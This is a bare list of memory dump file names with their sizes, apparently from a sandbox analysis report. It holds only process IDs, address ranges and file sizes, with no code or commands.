memory/5988-1585-0x00000000740E0000-0x0000000074890000-memory.dmpFilesize
7.7MB
-
memory/5988-1569-0x00000000001C0000-0x00000000001EE000-memory.dmpFilesize
184KB
-
memory/6552-1495-0x0000000000540000-0x0000000000541000-memory.dmpFilesize
4KB
-
memory/6612-1652-0x0000000000400000-0x00000000006ED000-memory.dmpFilesize
2.9MB
-
memory/6616-1462-0x0000000007250000-0x0000000007260000-memory.dmpFilesize
64KB
-
memory/6616-1446-0x00000000740E0000-0x0000000074890000-memory.dmpFilesize
7.7MB
-
memory/6616-876-0x0000000007BC0000-0x0000000007C26000-memory.dmpFilesize
408KB
-
memory/6616-1337-0x0000000009D30000-0x000000000A25C000-memory.dmpFilesize
5.2MB
-
memory/6616-1333-0x0000000008CB0000-0x0000000008E72000-memory.dmpFilesize
1.8MB
-
memory/6616-1240-0x00000000097B0000-0x0000000009800000-memory.dmpFilesize
320KB
-
memory/6616-697-0x00000000740E0000-0x0000000074890000-memory.dmpFilesize
7.7MB
-
memory/6616-695-0x0000000000250000-0x000000000028E000-memory.dmpFilesize
248KB
-
memory/7084-1483-0x00000000740E0000-0x0000000074890000-memory.dmpFilesize
7.7MB
-
memory/7084-1379-0x0000000000C40000-0x0000000001BFE000-memory.dmpFilesize
15.7MB
-
memory/7084-1377-0x00000000740E0000-0x0000000074890000-memory.dmpFilesize
7.7MB